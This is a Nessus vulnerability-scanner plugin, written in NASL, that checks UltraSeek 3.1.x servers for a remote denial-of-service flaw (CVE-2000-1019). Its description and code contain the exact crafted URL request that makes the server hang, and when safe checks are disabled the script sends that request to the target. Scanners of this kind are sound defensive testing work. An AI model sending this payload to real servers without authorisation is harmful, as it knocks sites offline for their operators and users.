home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ultraseek_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  118 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10542);
  10.  script_bugtraq_id(1866);
  11.  script_version ("$Revision: 1.16 $");
  12.  script_cve_id("CVE-2000-1019");
  13.  
  14.  
  15.  name["english"] = "UltraSeek 3.1.x Remote DoS";
  16.  name["francais"] = "UltraSeek 3.1.x Remote DoS";
  17.  script_name(english:name["english"], francais:name["francais"]);
  18.  
  19.  desc["english"] = "
  20. It is possible to make the remote UltraSeek server hang temporarily
  21. by requesting :
  22. /index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
  23.  
  24. An attacker may use this flaw to prevent this site from responding
  25. to valid client requests.
  26.  
  27. Solution : Upgrade to UltraSeek 4.x
  28. Risk factor : High";
  29.  
  30.  
  31.  
  32.  
  33.  desc["francais"] = "
  34. Il est possible d'empecher le serveur UltraSeek distant de rΘpondre
  35. pendant quelques temps en faisant la requete :
  36. /index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
  37.  
  38. Un pirate peut utiliser ce problΦme pour empecher ce site de
  39. rΘpondre aux requetes des clients.
  40.  
  41. Solution : mettez-le α jour en version 4.x
  42. Facteur de risque : SΘrieux";
  43.  
  44.  
  45.  script_description(english:desc["english"], francais:desc["francais"]);
  46.  
  47.  summary["english"] = "Hangs the remote UltraSeek server for some time";
  48.  summary["francais"] = "Empeche le serveur UltraSeek distant de rΘpondre";
  49.  
  50.  script_summary(english:summary["english"], francais:summary["francais"]);
  51.  
  52.  script_category(ACT_MIXED_ATTACK);
  53.  
  54.  
  55.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
  56.         francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
  57.  family["english"] = "CGI abuses";
  58.  family["francais"] = "Abus de CGI";
  59.  script_family(english:family["english"], francais:family["francais"]);
  60.  script_dependencie("find_service.nes");
  61.  script_require_ports(8765);
  62.  exit(0);
  63. }
  64.  
  65. #
  66. # The script code starts here
  67. #
  68.  
  69. include("http_func.inc");
  70.  
  71. port = 8765;
  72. if(get_port_state(port))
  73. {
  74.  if(safe_checks())
  75.  {
  76.   banner = get_http_banner(port:port);
  77.   
  78.   if(banner)
  79.   {
  80.    if("UltraSeek/3.1" >< banner)
  81.    {
  82.     alrt = "
  83. The remote UltraSeek server is vulnerable to a denial
  84. of service attack, when issued specially crafted
  85. arguments.
  86.  
  87. *** Nessus reports this vulnerability using only
  88. *** information that was gathered. Use caution
  89. *** when testing without safe checks enabled.
  90.  
  91. Solution : Upgrade to version 4.0
  92. Risk factor : High";
  93.  
  94.      security_hole(port:8765, data:alrt);
  95.    }
  96.   }
  97.   exit(0);
  98.  }
  99.  
  100.  req1 = http_head(item:"/", port:8765);
  101.  soc = http_open_socket(8765);
  102.  if(!soc)exit(0);
  103.  send(socket:soc, data:req1);
  104.  r = http_recv(socket:soc);
  105.  http_close_socket(soc);
  106.  if("200 OK" >< r)
  107.  {
  108.  soc = http_open_socket(8765);
  109.  if(!soc)exit(0);
  110.  req = http_get(item:"/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index",
  111.       port:8765);
  112.  send(socket:soc, data:req);
  113.  r = http_recv(socket:soc);
  114.  http_close_socket(soc);
  115.  if(!r)security_hole(8765);
  116.  }
  117. }
  118.